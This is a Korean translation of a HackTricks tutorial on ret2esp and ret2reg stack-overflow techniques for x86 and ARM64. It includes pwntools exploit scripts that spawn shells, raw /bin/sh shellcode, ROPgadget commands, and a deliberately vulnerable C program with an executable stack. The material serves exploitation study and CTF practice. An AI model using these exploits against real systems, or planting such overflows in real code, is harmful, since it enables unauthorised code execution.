Ret2esp / Ret2reg

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

Ret2esp

ESP (스택 포인터)가 항상 스택의 맨 위를 가리키기 때문에, 이 기술은 EIP (명령어 포인터)를 jmp esp 또는 call esp 명령의 주소로 대체하는 것을 포함합니다. 이렇게 하면 쉘코드가 덮어쓰인 EIP 바로 뒤에 배치됩니다. ret 명령이 실행될 때 ESP는 쉘코드가 저장된 정확한 다음 주소를 가리킵니다.

Windows 또는 Linux에서 **주소 공간 레이아웃 무작위화 (ASLR)**가 비활성화된 경우, 공유 라이브러리에서 찾은 jmp esp 또는 call esp 명령을 사용할 수 있습니다. 그러나 ASLR이 활성화된 경우, 취약한 프로그램 자체에서 이러한 명령을 찾아야 할 수 있습니다 (PIE를 우회해야 할 수도 있습니다).

또한, 쉘코드를 EIP 손상 이후에 배치할 수 있기 때문에, 함수의 작동 중에 실행되는 push 또는 pop 명령이 쉘코드에 간섭하지 않도록 보장됩니다. 쉘코드가 함수 스택의 중간에 배치된 경우 이러한 간섭이 발생할 수 있습니다.

공간 부족

RIP를 덮어쓴 후에 쓸 공간이 부족한 경우 (아마도 몇 바이트뿐이라면), 초기 jmp 쉘코드를 작성하세요:

sub rsp, 0x30
jmp rsp

예시

스택의 앞부분에 셸코드를 작성할 수 있습니다.

예시로 이 기술의 예제를 다음 링크에서 찾을 수 있습니다: https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp 최종 exploit은 다음과 같습니다:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

다른 예제를 볼 수 있습니다. https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. NX가 활성화되지 않은 버퍼 오버플로우가 있으며, $esp 주소를 줄이기 위해 가젯을 사용하고 나서 jmp esp;를 사용하여 셸코드로 이동합니다:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

마찬가지로, 셸코드가 저장된 주소를 반환하는 함수를 알고 있다면, call eax 또는 jmp eax 명령어(ret2eax 기술로 알려짐)을 활용하여 셸코드를 실행하는 또 다른 방법을 제공할 수 있습니다. eax와 마찬가지로, 흥미로운 주소를 포함하는 다른 레지스터도 사용할 수 있습니다 (ret2reg).

예시

여기에서 몇 가지 예시를 찾을 수 있습니다:

ARM64

Ret2sp

ARM64에서는 SP 레지스터로 점프하는 명령어가 없습니다. SP를 레지스터로 이동한 다음 해당 레지스터로 점프하는 가젯을 찾을 수 있지만, 제 Kali의 libc에서는 그와 같은 가젯을 찾을 수 없었습니다:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

내가 발견한 유일한 것들은 sp가 복사된 레지스트리의 값을 변경하여 그곳으로 점프하기 전에 (그래서 무용지물이 될 것임) :

Ret2reg

레지스트리에 흥미로운 주소가 있다면 적절한 명령어를 찾아 그 곳으로 점프할 수 있습니다. 다음과 같은 것을 사용할 수 있습니다:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

ARM64에서는 함수의 반환 값을 저장하는 것이 **x0**입니다. 따라서 x0이 사용자가 제어하는 버퍼의 주소를 저장하고 실행할 쉘코드를 포함할 수도 있습니다.

예시 코드:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

함수의 어셈블리어를 확인하면 버퍼의 주소 (bof에 취약하며 사용자가 제어)가 버퍼 오버플로우에서 반환하기 전에 x0에 저장된 것을 볼 수 있습니다:

do_stuff 함수에서 br x0 가젯을 찾을 수도 있습니다:

PIE가 없이 컴파일된 바이너리를 사용하기 때문에 해당 가젯을 사용하여 이동할 것입니다. 패턴을 사용하면 버퍼 오버플로우의 오프셋이 80임을 알 수 있으므로 exploit은 다음과 같을 것입니다:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

만약 fgets 대신에 **read**와 같은 것을 사용했다면, 리턴 어드레스의 마지막 2바이트만 덮어씌우면 br x0; 명령어로 돌아가 PIE를 우회할 수도 있었을 것입니다. 완전한 주소를 알 필요 없이 가능합니다. fgets를 사용하면 끝에 널 (0x00) 바이트가 추가되기 때문에 작동하지 않습니다.

Protections

  • NX: 스택이 실행 불가능하면 쉘코드를 스택에 배치하고 실행하기 위해 점프해야 하므로 도움이 되지 않습니다.

  • ASLR & PIE: esp나 다른 레지스터로 점프할 명령을 찾기 어렵게 만들 수 있습니다.

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated